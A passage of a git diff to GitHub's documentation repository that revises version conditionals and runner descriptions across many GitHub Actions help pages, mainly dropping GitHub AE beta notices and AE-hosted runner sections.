reusables.actions.ae-beta %} For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." @@ -71,7 +70,7 @@ These labels operate cumulatively, so a self-hosted runner’s labels must match When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels: -{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.2 or ghae or ghec %} - {% data variables.product.prodname_dotcom %} first searches for an online and idle runner at the repository level, then at the organization level, {% ifversion fpt or ghec %} and if the organization is part of an enterprise,{% endif %} then at the enterprise level. - If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner. - If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job. diff --git a/content/actions/learn-github-actions/contexts.md b/content/actions/learn-github-actions/contexts.md index 670876a830..88c17692f1 100644 --- a/content/actions/learn-github-actions/contexts.md +++ b/content/actions/learn-github-actions/contexts.md @@ -18,7 +18,6 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About contexts @@ -142,7 +141,7 @@ The `runner` context contains information about the runner that is executing the | `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %} | `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %} | `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} | -| `runner.tool_cache` | `string` | {% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}| +| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}| ### `needs` context diff --git a/content/actions/learn-github-actions/creating-workflow-templates.md b/content/actions/learn-github-actions/creating-workflow-templates.md index 9a6b5155fb..3ad83990c7 100644 --- a/content/actions/learn-github-actions/creating-workflow-templates.md +++ b/content/actions/learn-github-actions/creating-workflow-templates.md @@ -17,7 +17,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview diff --git a/content/actions/learn-github-actions/environment-variables.md b/content/actions/learn-github-actions/environment-variables.md index 69cdc2e29d..83e39ee23f 100644 --- a/content/actions/learn-github-actions/environment-variables.md +++ b/content/actions/learn-github-actions/environment-variables.md @@ -15,7 +15,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About environment variables diff --git a/content/actions/learn-github-actions/essential-features-of-github-actions.md b/content/actions/learn-github-actions/essential-features-of-github-actions.md index 42092ec962..d817b01d1f 100644 --- a/content/actions/learn-github-actions/essential-features-of-github-actions.md +++ b/content/actions/learn-github-actions/essential-features-of-github-actions.md @@ -14,7 +14,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview diff --git a/content/actions/learn-github-actions/events-that-trigger-workflows.md b/content/actions/learn-github-actions/events-that-trigger-workflows.md index 387185f8ca..d21e833b8c 100644 --- a/content/actions/learn-github-actions/events-that-trigger-workflows.md +++ b/content/actions/learn-github-actions/events-that-trigger-workflows.md @@ -17,7 +17,6 @@ shortTitle: Events that trigger workflows {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Configuring workflow events diff --git a/content/actions/learn-github-actions/expressions.md b/content/actions/learn-github-actions/expressions.md index b59a6e82ab..2c8cd63dc3 100644 --- a/content/actions/learn-github-actions/expressions.md +++ b/content/actions/learn-github-actions/expressions.md @@ -12,7 +12,6 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About expressions diff --git a/content/actions/learn-github-actions/finding-and-customizing-actions.md b/content/actions/learn-github-actions/finding-and-customizing-actions.md index ed8b6f1ee4..5b71215cd5 100644 --- a/content/actions/learn-github-actions/finding-and-customizing-actions.md +++ b/content/actions/learn-github-actions/finding-and-customizing-actions.md @@ -19,7 +19,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview diff --git a/content/actions/learn-github-actions/index.md b/content/actions/learn-github-actions/index.md index 00623427df..f69e68338e 100644 --- a/content/actions/learn-github-actions/index.md +++ b/content/actions/learn-github-actions/index.md @@ -46,4 +46,3 @@ children: - /usage-limits-billing-and-administration --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/learn-github-actions/managing-complex-workflows.md b/content/actions/learn-github-actions/managing-complex-workflows.md index b1f8e0565c..e44a1d367c 100644 --- a/content/actions/learn-github-actions/managing-complex-workflows.md +++ b/content/actions/learn-github-actions/managing-complex-workflows.md @@ -14,7 +14,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview @@ -146,17 +145,6 @@ For more information, see "[Using databases and service containers](/actions/con This feature helps you assign jobs to a specific hosted runner. If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %} -{% ifversion ghae %} -This example shows how a workflow can use labels to specify the required runner: - -```yaml -jobs: - example-job: - runs-on: [AE-runner-for-CI] -``` - -For more information, see ["Using labels with {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners)." -{% else %} This example shows how a workflow can use labels to specify the required runner: ```yaml @@ -168,12 +156,14 @@ jobs: A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner. To learn more about self-hosted runner labels, see ["Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." + +{% ifversion fpt or ghes %} To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see ["Supported runners and hardware resources"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). {% endif %} {% data reusables.actions.reusable-workflows %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ## Using environments diff --git a/content/actions/learn-github-actions/reusing-workflows.md b/content/actions/learn-github-actions/reusing-workflows.md index 762284674b..02d81d360f 100644 --- a/content/actions/learn-github-actions/reusing-workflows.md +++ b/content/actions/learn-github-actions/reusing-workflows.md @@ -15,7 +15,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview @@ -49,17 +48,16 @@ A reusable workflow can be used by another workflow if {% ifversion ghes or ghec ## Using runners +{% ifversion fpt or ghes or ghec %} + ### Using GitHub-hosted runners -{% ifversion fpt or ghes or ghec %} The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." -{% endif %} -{% ifversion ghae %} -The assignment of {% data variables.actions.hosted_runner %}s is always evaluated using only the caller's context. Billing for {% data variables.actions.hosted_runner %}s is always associated with the caller. The caller cannot use {% data variables.actions.hosted_runner %}s from the called repository. For more information, see "[About {% data variables.actions.hosted_runner %}s](/github-ae@latest/actions/using-github-hosted-runners/about-ae-hosted-runners)." -{% endif %} ### Using self-hosted runners +{% endif %} + Called workflows can access self-hosted runners from caller's context. This means that a called workflow can access self-hosted runners that are: * In the caller repository * In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository diff --git a/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md index 15dd9be86c..f48ee6acd8 100644 --- a/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md +++ b/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md @@ -14,7 +14,6 @@ type: how_to {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview diff --git a/content/actions/learn-github-actions/understanding-github-actions.md b/content/actions/learn-github-actions/understanding-github-actions.md index 90de4101cd..61b4d91686 100644 --- a/content/actions/learn-github-actions/understanding-github-actions.md +++ b/content/actions/learn-github-actions/understanding-github-actions.md @@ -19,7 +19,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview @@ -63,11 +62,7 @@ You can write your own actions, or you can find actions to use in your workflows ### Runners -{% ifversion ghae %} -{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." -{% else %} -{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." -{% endif %} +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)." ## Create an example workflow @@ -250,8 +245,12 @@ Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 o To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." +{% ifversion fpt or ghec or ghes %} + To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)". +{% endif %} + ## Contacting support {% data reusables.github-actions.contacting-support %} diff --git a/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/content/actions/learn-github-actions/usage-limits-billing-and-administration.md index 73c64d5af4..3b2a00be5c 100644 --- a/content/actions/learn-github-actions/usage-limits-billing-and-administration.md +++ b/content/actions/learn-github-actions/usage-limits-billing-and-administration.md @@ -7,7 +7,6 @@ redirect_from: versions: fpt: '*' ghes: '*' - ghae: '*' ghec: '*' topics: - Billing @@ -16,7 +15,6 @@ shortTitle: Workflow billing & limits {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About billing for {% data variables.product.prodname_actions %} @@ -65,10 +63,10 @@ Usage limits apply to self-hosted runners. For more information, see "[About sel In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +{% ifversion fpt or ghes > 3.3 or ghec %} ## Billing for reusable workflows -If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} is always evaluated using only the caller's context. The caller cannot use {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} from the called repository. +If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} diff --git a/content/actions/learn-github-actions/using-workflow-templates.md b/content/actions/learn-github-actions/using-workflow-templates.md index 7b4ea96683..8bdb52e763 100644 --- a/content/actions/learn-github-actions/using-workflow-templates.md +++ b/content/actions/learn-github-actions/using-workflow-templates.md @@ -22,7 +22,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About workflow templates diff --git a/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/content/actions/learn-github-actions/workflow-commands-for-github-actions.md index ef1dd1c4bc..221421424b 100644 --- a/content/actions/learn-github-actions/workflow-commands-for-github-actions.md +++ b/content/actions/learn-github-actions/workflow-commands-for-github-actions.md @@ -18,7 +18,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About workflow commands diff --git a/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md index 0f7c9d3e51..130dd42fc1 100644 --- a/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md +++ b/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md @@ -16,7 +16,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About YAML syntax for workflows @@ -326,7 +325,7 @@ The triggered workflow receives the inputs in the `github.event.inputs` context. For more information about cron syntax, see "[Events that trigger workflows](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## `permissions` You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." @@ -386,7 +385,7 @@ defaults: working-directory: scripts ``` -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} ## `concurrency` Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." @@ -402,7 +401,7 @@ A workflow run is made up of one or more jobs. Jobs run in parallel by default. Each job runs in a runner environment specified by `runs-on`. -You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. +You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %} If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)." @@ -465,22 +464,9 @@ In this example, `job3` uses the `always()` conditional expression so that it al ## `jobs..runs-on` -**Required**. The type of machine to run the job on. The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner. You can provide `runs-on` as a single string or as an array of strings. +**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. -{% ifversion ghae %} -### {% data variables.actions.hosted_runner %}s - -If you use an {% data variables.actions.hosted_runner %}, each job runs in a fresh instance of a virtual environment specified by `runs-on`. - -#### Example - -```yaml -runs-on: [AE-runner-for-CI] -``` - -For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." - -{% else %} +{% ifversion fpt or ghec or ghes %} {% data reusables.actions.enterprise-github-hosted-runners %} ### {% data variables.product.prodname_dotcom %}-hosted runners @@ -500,7 +486,9 @@ runs-on: ubuntu-latest For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} +{% ifversion fpt or ghec or ghes %} ### Self-hosted runners +{% endif %} {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -514,7 +502,7 @@ runs-on: [self-hosted, linux] For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## `jobs..permissions` You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." @@ -576,7 +564,7 @@ environment: {% endraw %} {% endif %} -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} ## `jobs..concurrency` {% note %} @@ -675,7 +663,7 @@ You can use the `if` conditional to prevent a job from running unless a conditio A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job. -You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. +You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %} ### Example @@ -989,8 +977,9 @@ steps: The command used, `perl` in this example, must be installed on the runner. -{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." -{% else %} +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} +{% elsif fpt or ghec %} For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)." {% endif %} @@ -1104,7 +1093,7 @@ The maximum number of minutes to run the step before killing the process. The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360 -If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#usage-limits)." +If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %} ## `jobs..strategy` @@ -1165,7 +1154,8 @@ steps: ``` {% endraw %} -{% ifversion ghae %}To find supported configuration options for {% data variables.actions.hosted_runner %}s, see "[Software specifications](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)." +{% ifversion ghae %} +For more information about the configuration of self-hosted runners, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} diff --git a/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md index 6a669bb3e7..b3c1173329 100644 --- a/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md +++ b/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md @@ -16,7 +16,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -41,7 +40,7 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l - opened jobs: label_issues: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write{% endif %} steps: diff --git a/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md index 1b72863962..fe86fe79e4 100644 --- a/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md +++ b/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md @@ -16,7 +16,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -38,7 +37,7 @@ In the tutorial, you will first make a workflow file that uses the [`actions/sta jobs: close-issues: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write pull-requests: write{% endif %} diff --git a/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md index bc7df4c127..43f42b40ce 100644 --- a/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md +++ b/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md @@ -17,7 +17,6 @@ shortTitle: Add label to comment on issue {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -42,7 +41,7 @@ In the tutorial, you will first make a workflow file that uses the [`peter-evans jobs: add-comment: if: github.event.label.name == 'help-wanted' - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write{% endif %} steps: diff --git a/content/actions/managing-issues-and-pull-requests/index.md b/content/actions/managing-issues-and-pull-requests/index.md index faffad9f15..8de3865cbd 100644 --- a/content/actions/managing-issues-and-pull-requests/index.md +++ b/content/actions/managing-issues-and-pull-requests/index.md @@ -17,4 +17,3 @@ children: - /scheduling-issue-creation --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md index e266be58bf..693c78b6c6 100644 --- a/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md +++ b/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md @@ -17,7 +17,6 @@ shortTitle: Move assigned issues {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md index c61ae023ab..d28c687f5a 100644 --- a/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md +++ b/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md @@ -17,7 +17,6 @@ shortTitle: Remove label when adding card {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -43,7 +42,7 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l jobs: remove_labels: if: github.event.project_card.column_id == '12345678' - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write pull-requests: write{% endif %} diff --git a/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md index 3941884efb..eb41b3c838 100644 --- a/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md +++ b/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md @@ -16,7 +16,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -41,7 +40,7 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is jobs: create_issue: name: Create team sync issue - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write{% endif %} steps: diff --git a/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md index 5554c8d745..6214081a66 100644 --- a/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md +++ b/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md @@ -14,7 +14,6 @@ topics: shortTitle: Actions for project management --- -{% data reusables.actions.ae-beta %} You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label, leave a comment, and move the issue onto a project board. diff --git a/content/actions/managing-workflow-runs/canceling-a-workflow.md b/content/actions/managing-workflow-runs/canceling-a-workflow.md index 9ad472a36e..f976787c52 100644 --- a/content/actions/managing-workflow-runs/canceling-a-workflow.md +++ b/content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -10,7 +10,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.permissions-statement-write %} diff --git a/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/content/actions/managing-workflow-runs/deleting-a-workflow-run.md index da953f79ba..5bdd78e23f 100644 --- a/content/actions/managing-workflow-runs/deleting-a-workflow-run.md +++ b/content/actions/managing-workflow-runs/deleting-a-workflow-run.md @@ -10,7 +10,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.permissions-statement-write %} diff --git a/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md index 9efe4e57af..7d2434b60a 100644 --- a/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md +++ b/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md @@ -11,7 +11,6 @@ shortTitle: Disable & enable a workflow {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}. diff --git a/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md index 9f8ac9185d..4ab8536d23 100644 --- a/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md +++ 